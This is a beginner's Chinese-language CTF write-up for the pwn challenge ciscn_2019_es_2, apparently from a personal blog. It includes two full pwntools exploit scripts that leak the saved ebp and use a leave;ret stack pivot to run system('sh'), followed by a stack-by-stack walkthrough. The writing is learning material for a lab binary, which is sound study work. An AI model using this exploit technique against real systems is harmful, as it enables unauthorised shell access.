小白垃圾做题笔记,不及建议阅读。
声明,exp来自网络,调试过程自己调试,对于题目的理解仅供参考。由于本人也是小白,且pwn全靠自己摸索,所以有很多理解不到位的地方。如有错误,欢迎指正。
1.做题
这道题嗯,做了好久。
绕过nx,好像叫栈迁移。
main函数如下:
vul函数存在溢出,但是溢出不是很多。
也就是说可以覆盖到ebp和返回地址,仅此而已。
有system函数,但是没有/bin/sh.
echo flag 并没有什么用。(起码我认为,因为我将返回地址覆盖为该函数时,他确实是echo “flag”),但是此flag非彼falg。
想了好久,还是不会,去网上找答案。大佬说是栈迁移,反正我是没玩明白,仅仅是搞懂就费劲,别说遇到题目熟练做出来了。下边写下总结,和exp打进去后的运行过程吧。
exp:
from pwn import *
#p = remote("node3.buuoj.cn",27236)
p=gdb.debug("./ciscn_2019_es_2","break main")
#因为我想让断点下到main函数,停止到call vul指令处,所以使用了这种方法,也是在网上搜的。
context.log_level='debug'
#gdb.attach(p)
sys_addr = 0x8048400
leave_ret = 0x080484b8
payload = b'a' * 0x27 + b'p'
p.send(payload)
p.recvuntil(b'p')
ebp = u32(p.recv(4))
print(hex(ebp))
payload = (b'this'+p32(sys_addr)+b'aaaa'+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
#指向'/bin/sh' #指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()
后来发现远程打不通:
换成这个:主要应该是/bin/sh=>sh 不知道为啥,实到11点。呜呜呜
from pwn import *
#p = remote('node4.buuoj.cn',28481)
p = process("./ciscn_2019_es_2")
#p=gdb.debug("./ciscn_2019_es_2","break main")
elf = ELF("./ciscn_2019_es_2")
#remote_target = "1node4.buuoj.cn:28244" # 远程目标的 IP 地址和端口号
#remote_target = "17.21.200.166:28244"
# 连接远程目标并设置断点
#p = gdb.debug(["./ciscn_2019_es_2"], gdbscript="break main", exe=remote_target)
#gdb.attach(p, '''
# break vul
# break *0x08048610
# break *0x0804861D
# break main
#''')
#pause()
#p.debug("DEBUG")
#p.breakpoint('main')
#gdb.attach(p, "b *0x08048610")
context.log_level='debug'
#gdb.attach(p)
sys_addr = 0x8048400
system_addr = elf.sym['system']
leave_ret = 0x080484b8
payload = b'a' * 0x27 + b'p'
p.recvuntil(b'name?\n')
p.send(payload)
p.recvuntil(b'p')
ebp = u32(p.recv(4))
print(hex(ebp))
#payload = (b'this'+p32(system_addr)+p32(system_addr)+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
payload = (b'this'+p32(system_addr)+p32(system_addr)+p32(ebp-0x28)+b'sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
#指向'/bin/sh' #指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()
如果你只想把这道题做出来,到这里就结束了。
2.简单理解。下边是运行过程。
2.1栈的地址。
首先要明白,数据是存在地址里的,我们所说,数据存在栈上,其实栈也是有地址的。
而栈地址所指向的才是数据,当然,栈也可以指向一个地址,这个地址指向一个数据。
栈情况,箭头左边是栈地址。
查看栈状态,那里的地址,就是栈地址。而esp和ebp指向的就是栈地址。包括push esp,
mov esp,ebp 计算的也是栈的地址,因为这个时候esp中存储的就是栈地址。
理解了这一点,估计会好理解很多。
下边我们从函数调用,一点一点解析这个exp。
2.2调试
我将断点打到call vul ,s跟进
这个时候的栈大概长这个样子吧:
然后会执行
2.3call vul
而call vul =>push eip ;jmp vul
这个时候ip其实已经指向call下一条指令的地址了,push后作为返回地址返回。
执行后栈大概是这样子的吧:
到memset栈几乎就初始化结束了。而对应的汇编是:
也就是说调用函数栈的变化只有三行(后期可能还有变化,但是这里仅讨论前边的。):
push ebp
mov ebp,esp
sub esp,28h
那么这三行执行后栈是什么样子呢?
前:
2.4push ebp
2.5mov ebp,esp
2.6sub esp,28h
2.7泄露地址
这个时候我们已经把0x27个a个一个p输入进去了(我这是在脚本里调试的)
也就是说现在栈上是这样:
gdb中看下这段有什么幺蛾子。发现好像确实是把字符后的内容打印出来了。也就是main的栈基地址。
所以我们泄露出来的内容实际是0xffe951d8地址内所存储的内容,是一个地址,是main函数的ebp的栈地址,就是0xffe951e8
2.8第二次输入
然后我们通过这个地址,结合levne,对栈进行操作。
我们继续到我们第二次输入。这一次输入会覆盖上一次输入,不过已经不重要了,因为我们已经知道了main的ebp。也就是知道了一个栈地址。
这个时候栈上已经使我们精心构造好的数据。
第二次输入后栈情况:
这个图片截的好像有点问题,正确我认为应该是这样的:
nop指令什么也不会做。
leave 和ret
leave=>mov esp,ebp pop ebp
ret => pop eip
这个时候我们
2.9第一次leave
leave前
重点************************
leave后
这个时候栈应该是这样的:
2.10第一次ret后且第二次leave执行后的栈情况
这个时候栈应该是这个样子的:
2.11执行system
太累了,第一次遇到这种题,好像叫栈迁移。
简单总结:leave的作用好像就是让esp去找ebp,然后pop ebp,而第一次leave的目的好像是将ebp的值改到上边,第二次leave让esp去找他。pop后esp正好指向system。
然后就是地址的计算,可谓精髓,真不知道大佬如何做到的。我看大佬文章是计算便宜啥的,但是感觉学会还得一段时间。